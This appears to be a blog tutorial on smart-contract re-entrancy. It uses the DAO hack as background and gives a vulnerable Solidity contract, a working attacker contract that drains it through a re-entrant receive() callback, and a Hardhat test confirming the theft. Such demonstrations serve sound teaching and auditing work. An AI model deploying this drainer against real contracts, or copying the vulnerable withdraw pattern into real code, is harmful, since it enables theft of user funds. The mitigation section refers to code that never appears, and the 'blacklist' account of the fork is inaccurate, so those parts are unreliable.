The bug which cost Ethereum $60 million dollars: Re-entrancy

The bug which cost Ethereum $60 million dollars: Re-entrancy

·

7 min read

🌟 Unveiling the $60 Million Bug — Re-entrancy

Re-entrancy is one of the oldest and trickiest security flaws in smart contracts. It played a big part in the infamous ‘DAO Hack’ of 2016, where hackers managed to steal a mind-boggling 3.6 million ETH, which is worth billions today! 🚀

At the time, the DAO held a whopping 15% of all Ethereum around, and Ethereum was still relatively new. This hack was causing a lot of trouble, and Vitalik Buterin, Ethereum’s creator, suggested a fix. He wanted to make sure the attacker couldn’t run off with the stolen ETH. Some people liked the idea, while others didn’t. It sparked a huge debate and created a lot of controversy.

In the end, Ethereum split into two separate cryptocurrencies: Ethereum Classic and the Ethereum we use today. Ethereum Classic’s blockchain is like a copy of Ethereum’s history up until the split, and it acts like the hack still happened, with the attacker keeping the stolen funds. But today’s Ethereum chose to erase all traces of the hack with a blacklist. đŸ€”

Remember, this is the simplified version of a much more complicated story. People were stuck in a tough spot, and you can dive deeper into this exciting crypto tale here. đŸ’«

Let’s explore more about this hack in plain and simple terms! 🚀

đŸ•”ïž Exploring Re-Entrancy: A Vulnerability Unveiled

Re-entrancy, in the world of smart contracts, is a sneaky vulnerability that occurs when Contract A calls a function in Contract B, and Contract B can sneakily call back into Contract A while Contract A is still busy with its work.

This seemingly harmless scenario can lead to some serious issues in smart contracts, potentially allowing malicious actors to siphon funds from a contract.

Let’s grasp this concept with a simple example. Imagine Contract A has a function, let’s call it “f(),” which does three things:

1. Check how much ETH Contract B has deposited into Contract A.
2. Sends that ETH back to Contract B.
3. Updates the balance of Contract B to zero.

Now, here’s where things get tricky. Since the balance is updated after the ETH is sent back, Contract B can pull off some crafty moves. If Contract B were to set up a “fallback()” or “receive()” function within its contract (which gets triggered when it receives ETH), it could call “f()” in Contract A again.

At this point, Contract A hasn’t updated the balance of Contract B to zero yet. So, Contract B can score more ETH than Contract A — and this is where the exploit comes into play. Contract B could repeat this until Contract A is completely drained of ETH.

⚒ Let’s Build

To illustrate this behavior, we’ll create two smart contracts: “GoodContract” and “BadContract.” BadContract will demonstrate how it can drain all the ETH from GoodContract.

Important: Ensure that all the commands run smoothly. If you encounter errors like “Cannot read properties of null (reading ‘pickAlgorithm’),” try clearing the NPM cache using “npm cache clear — force.”

Let’s start by creating a new project directory:

mkdir re-entrancy

Now, navigate into the “re-entrancy” directory and initialize Hardhat:


cd re-entrancy
npm init — yes
npm install — save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat

When prompted, choose the “Create a JavaScript Project” option and follow the provided steps.

Next, create a new file inside the “re-entrancy/contracts” directory and name it “GoodContract.sol.”

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract GoodContract {
    mapping(address => uint256) public balances;

    // Update the `balances` mapping to include the new ETH deposited by msg.sender
    function addBalance() public payable {
        balances[msg.sender] += msg.value;
    }

    // Send ETH worth `balances[msg.sender]` back to msg.sender
    function withdraw() public {
        // Must have >0 ETH deposited
        require(balances[msg.sender] > 0);

        // Attempt to transfer
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "Failed to send ether");
        // This code becomes unreachable because the contract's balance is drained
        // before user's balance could have been set to 0
        balances[msg.sender] = 0;
    }
}

The contract is quite simple. The first function, addBalance updates a mapping to reflect how much ETH has been deposited into this contract by another address. The second function, withdraw, allows users to withdraw their ETH back - but the ETH is sent before the balance is updated.

Now let's create another file inside the contracts directory known as BadContract.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./GoodContract.sol";
contract BadContract {
    GoodContract public goodContract;
    constructor(address _goodContractAddress) {
        goodContract = GoodContract(_goodContractAddress);
    }
    // Function to receive Ether
    receive() external payable {
        if(address(goodContract).balance > 0) {
            goodContract.withdraw();
        }
    }
    // Starts the attack
    function attack() public payable {
        goodContract.addBalance{value: msg.value}();
        goodContract.withdraw();
    }
}

🔒 Unveiling the Attack: A Sneaky Scheme

This contract is much more interesting, let’s understand what is going on.

Inside the constructor, this contract makes a critical move by setting the address of GoodContract and initializing an instance of it.

The “attack” function serves as the gateway for the exploit. It’s a payable function that allows an attacker to send some ETH, which is then deposited into GoodContract. Subsequently, the “withdraw” function in GoodContract is invoked.

Here’s where the cunning trickery unfolds: GoodContract notices that BadContract has a balance greater than zero, so it dutifully sends some ETH back to BadContract. However, this seemingly benign action triggers the “receive()” function in BadContract.

The “receive()” function in BadContract checks if GoodContract still holds some ETH and then proceeds to call the “withdraw” function in GoodContract again.

This loop continues, with GoodContract continuously sending money to BadContract until it eventually depletes its own funds. Finally, GoodContract updates BadContract’s balance to zero and completes the transaction. At this point, the attacker has successfully siphoned all the ETH from GoodContract, all thanks to the re-entrancy vulnerability.

To showcase that this exploit indeed works, we’ll employ Hardhat Tests. These tests will confirm that BadContract is effectively draining all the funds from GoodContract. If you’d like to familiarize yourself with the testing environment, you can refer to the Hardhat Docs for Testing.

Let’s kick things off by creating a file named “attack.js” within the “re-entrancy/test” folder. Then, add the following code to it:

const { expect } = require("chai");
const hre = require("hardhat");

describe("Attack", () => {
  it("Should empty the balance of the Good Contract", async () => {
    // Deploy the Good Contract
    const goodContract = await hre.ethers.deployContract("GoodContract", []);
    await goodContract.waitForDeployment();

    // Deploy the Bad Contract
    const badContract = await hre.ethers.deployContract("BadContract", [
      goodContract.target,
    ]);
    await badContract.waitForDeployment();

    // Get two addresses. Treat one as innocent user and the other as attacker
    const [_, innocentUser, attacker] = await hre.ethers.getSigners();

    // First value to deposit (10 ETH)
    const firstDeposit = hre.ethers.parseEther("10");

    // Innocent User deposits 10 ETH into GoodContract
    const goodTxn = await goodContract.connect(innocentUser).addBalance({
      value: firstDeposit,
    });

    // Wait the transaction complete
    await goodTxn.wait();

    // Check that at this point the GoodContract's balance is 10 ETH
    let goodContractBalance = await hre.ethers.provider.getBalance(
      goodContract.target
    );
    expect(goodContractBalance).to.equal(firstDeposit);

    // Attacker calls the `attack` function on BadContract and sends 1 ETH
    const attackTxn = await badContract.connect(attacker).attack({
      value: hre.ethers.parseEther("1"),
    });

    // Wait the transaction complete
    await attackTxn.wait();

    // Balance of the GoodContract's address is now zero
    goodContractBalance = await hre.ethers.provider.getBalance(
      goodContract.target
    );
    expect(goodContractBalance).to.equal(BigInt("0"));

    // Balance of BadContract is now 11 ETH (10 ETH stolen + 1 ETH from attacker)
    const badContractBalance = await hre.ethers.provider.getBalance(
      badContract.target
    );
    expect(badContractBalance).to.equal(hre.ethers.parseEther("11"));
  });
});

đŸ§Ș Testing the Intrigue: Unveiling the Re-entrancy Attack

In this test, we embark on a journey to scrutinize the Re-entrancy attack. Here’s how it unfolds:

1. Deployment of Contracts: We commence by deploying both GoodContract and BadContract.

2. Getting Signers: With the assistance of Hardhat, we acquire two signers. Hardhat conveniently provides us with access to 10 pre-funded accounts, giving us plenty of room to simulate various roles. We designate one account as the innocent user and the other as the attacker.

3. Innocent User’s Transaction: Our innocent user takes the initiative by sending 10 ETH to GoodContract.

4. Attacker Strikes: The attacker springs into action, initiating the attack by calling the “attack()” function on BadContract and simultaneously depositing 1 ETH into it.

5. Post-Attack Assessment: After the “attack()” transaction concludes, we meticulously examine the aftermath. We expect GoodContract’s balance to have dwindled to zero, while BadContract should now boast 11 ETH (10 ETH that was stealthily pilfered and 1 ETH deposited by the attacker).

6. Executing the Test: To execute the test, simply type the following command in your terminal:

npx hardhat test

If all your tests pass successfully, you’ve effectively executed the Re-entrancy attack through BadContract on GoodContract.

Take a closer look at the code below for a better understanding:

When applied to a function like “withdraw,” this modifier effectively blocks re-entrancy attempts. The “locked” variable ensures that re-entry is prohibited until the first “withdraw” function execution is complete.

By implementing either of these strategies, you can fortify your smart contracts against the perils of re-entrancy and safeguard your users’ assets effectively.

Special thanks to LearnWeb3 and OpenZappling for their inspiration in crafting this article. If you found it valuable, don’t hesitate to give it a clap! 👏

Â